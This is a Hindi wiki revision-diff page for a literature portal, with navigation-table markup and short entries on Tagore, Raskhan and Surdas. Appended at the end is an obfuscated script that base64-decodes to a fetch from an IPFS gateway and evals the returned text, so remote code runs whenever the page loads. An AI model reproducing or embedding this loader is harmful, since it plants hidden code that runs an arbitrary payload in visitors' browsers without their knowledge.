"प्रांगण:मुखपृष्ठ/साहित्य": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
No edit summary
No edit summary
पंक्ति 6: पंक्ति 6:
|- class="headbg37"
|- class="headbg37"
| class="portal-menu" style="border-left:none; width:7%"|[[मुखपृष्ठ]]
| class="portal-menu" style="border-left:none; width:7%"|[[मुखपृष्ठ]]
| class="portal-menu" style="width:12%;"|[[प्रांगण:भारत गणराज्य|भारत गणराज्य]]
| class="portal-menu" style="width:10%;"|[[प्रांगण:भारत गणराज्य|गणराज्य]]
| class="portal-menu" style="width:7%;"|[[प्रांगण:इतिहास|इतिहास]]
| class="portal-menu" style="width:8%;"|[[प्रांगण:इतिहास|इतिहास]]
| class="portal-menu" style="width:7%;"| [[प्रांगण:पर्यटन|पर्यटन]]
| class="portal-menu" style="width:7%;"|[[प्रांगण:पर्यटन|पर्यटन]]
| class="portal-menu" style="width:8%; border-bottom:none; background:transparent;"|[[प्रांगण:साहित्य|साहित्य]]
| class="portal-menu" style="width:8%; border-bottom:none; background:transparent;"|[[प्रांगण:साहित्य|साहित्य]]
| class="portal-menu" style="width:8%; "|[[प्रांगण:दर्शन|दर्शन]]
| class="portal-menu" style="width:7%;"|[[प्रांगण:जीवनी|जीवनी]]
| class="portal-menu" style="width:6%;"| [[प्रांगण:धर्म|धर्म]]
| class="portal-menu" style="width:7%;"|[[प्रांगण:दर्शन|दर्शन]]
| class="portal-menu" style="width:9%;"|[[प्रांगण:संस्कृति|संस्कृति]]
| class="portal-menu" style="width:6%;"|[[प्रांगण:धर्म|धर्म]]
| class="portal-menu" style="width:8%;"|[[प्रांगण:भूगोल|भूगोल]]
| class="portal-menu" style="width:8%;"|[[प्रांगण:संस्कृति|संस्कृति]]
| class="portal-menu" style="width:7%"|[[प्रांगण:कला|कला]]
| class="portal-menu" style="width:7%;"|[[प्रांगण:भूगोल|भूगोल]]
| class="portal-menu" style="width:8%"|[[प्रांगण:खेल|खेल]]
| class="portal-menu" style="width:6%;"|[[प्रांगण:कला|कला]]
| class="portal-menu" style="width:7%"|[[प्रांगण:भाषा|भाषा]]
| class="portal-menu" style="width:6%;"|[[प्रांगण:भाषा|भाषा]]
| class="portal-menu" style="width:8%; border-right:none;"|[[प्रांगण:विज्ञान|विज्ञान]]
| class="portal-menu" style="width:13%; border-right:none;"|[[प्रांगण:प्रांगण मुखपृष्ठ|सभी विषय]]
|- style=" padding-top:none;" class="headbg37"
|- style=" padding-top:none;" class="headbg37"
| colspan="13"|
| colspan="13"|

11:01, 21 दिसम्बर 2010 का अवतरण

मुखपृष्ठ गणराज्य इतिहास पर्यटन साहित्य जीवनी दर्शन धर्म संस्कृति भूगोल कला भाषा सभी विषय
  • यहाँ हम भारत की विभिन्न भाषाओं के साहित्य से संबंधित जानकारी प्राप्त कर सकते हैं।
  • समस्त ग्रंथों का समूह, किसी भाषा की गद्य तथा पद्यात्मक रचनाएँ, भावों एवं विचारों की समष्टि ही 'साहित्य' कहलाता है।

साहित्य श्रेणी के सभी लेख

  • हिन्दी साहित्य की जड़ें मध्ययुगीन भारत की ब्रजभाषा, अवधी, मैथिली और मारवाड़ी जैसी भाषाओं के साहित्य में पाई जाती हैं।
  • प्राचीन युग के लेखकों और कवियों की विशेष रुचि यात्रावर्णन तथा रोचक कहानी कहने में थी।
  • भारतकोश पर लेखों की संख्या प्रतिदिन बढ़ती रहती है जो आप देख रहे वह "प्रारम्भ मात्र" ही है...
विशेष आलेख

रबीन्द्रनाथ ठाकुर
रबीन्द्रनाथ ठाकुर
  • रबीन्द्रनाथ ठाकुर एक बांग्ला कवि, कहानीकार, गीतकार, नाटककार, निबंधकार और चित्रकार थे। जिन्हें 1913 में साहित्य के लिए नोबेल पुरस्कार प्रदान किया गया।
  • रबीन्द्रनाथ ठाकुर का जन्म 7 मई, 1861 कलकत्ता (वर्तमान कोलकाता) में देवेंद्रनाथ टैगोर और शारदा देवी के पुत्र के रूप में एक संपन्न बांग्ला परिवार में हुआ था।
  • उनकी स्कूल की पढ़ाई प्रतिष्ठित सेंट ज़ेवियर स्कूल में हुई। टैगोर ने बैरिस्टर बनने की चाहत में 1878 में इंग्लैंड के ब्रिजटोन में पब्लिक स्कूल में नाम दर्ज कराया।
  • गल्पगुच्छ की तीन जिल्दों में उनकी सारी चौरासी कहानियाँ संगृहीत हैं, जिनमें से केवल दस प्रतिनिधि कहानियाँ चुनना टेढ़ी खीर है।
  • वे अपनी कहानियाँ सबुज पत्र (हरे पत्ते) में छपाते थे। आज भी पाठकों को उनकी कहानियों में 'हरे पत्ते' और 'हरे गाछ' मिल सकते हैं।
  • राष्‍ट्रगान (जन गण मन) के रचयिता टैगोर को बंगाल के ग्राम्यांचल से प्रेम था और इनमें भी पद्मा नदी उन्हें सबसे अधिक प्रिय थी।
  • वास्तव में टैगोर की कविताओं का अनुवाद लगभग असंभव है और बांग्ला समाज के सभी वर्गों में आज तक जनप्रिय उनके 2,000 से अधिक गीतों, जो 'रबींद्र संगीत' के नाम से जाने जाते हैं, पर भी यह लागू होता है। .... और पढ़ें
चयनित लेख
रसखान की समाधि, मथुरा
रसखान की समाधि, मथुरा
  • हिन्दी साहित्य में कृष्ण भक्त तथा रीतिकालीन कवियों में रसखान का महत्वपूर्ण स्थान है। 'रसखान' को रस की ख़ान कहा जाता है।
  • सैय्यद इब्राहीम रसखान का जन्म उपलब्ध स्रोतों के अनुसार सन 1533 से 1558 के बीच हैं। जो लगभग मुग़ल सम्राट अकबर के समकालीन हैं।
  • रसखान का जन्मस्थान 'पिहानी' कुछ लोगों के मतानुसार दिल्ली के समीप है। कुछ और लोगों के मतानुसार यह 'पिहानी' उत्तरप्रदेश के 'हरदोई ज़िले' में है।
  • रसखान पहले मुसलमान थे। बाद में वैष्णव होकर ब्रज में रहने लगे थे। इसका वर्णन 'भक्तमाल' में है।
  • रसखान के काव्य में छ: स्थायी भावों की निबंधना मिलती है- रति, निर्वेद, उत्साह, हास, वात्सल्य और भक्ति।
  • रसखान की भाषा की विशेषता उसकी स्वाभाविकता है। उन्होंने ब्रजभाषा के साथ खिलवाड़ न कर उसके मधुर, सहज एवं स्वाभाविक रूप को अपनाया।
  • रसखान की मृत्यु के बारे में कोई प्रामाणिक तथ्य नहीं मिलते हैं। .... और पढ़ें
कुछ चुने हुए लेख
साहित्य श्रेणी वृक्ष
चयनित चित्र

सूरदास, सूर कुटी, आगरा
सूरदास, सूर कुटी, आगरा

सूरदास, सूर कुटी, आगरा

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>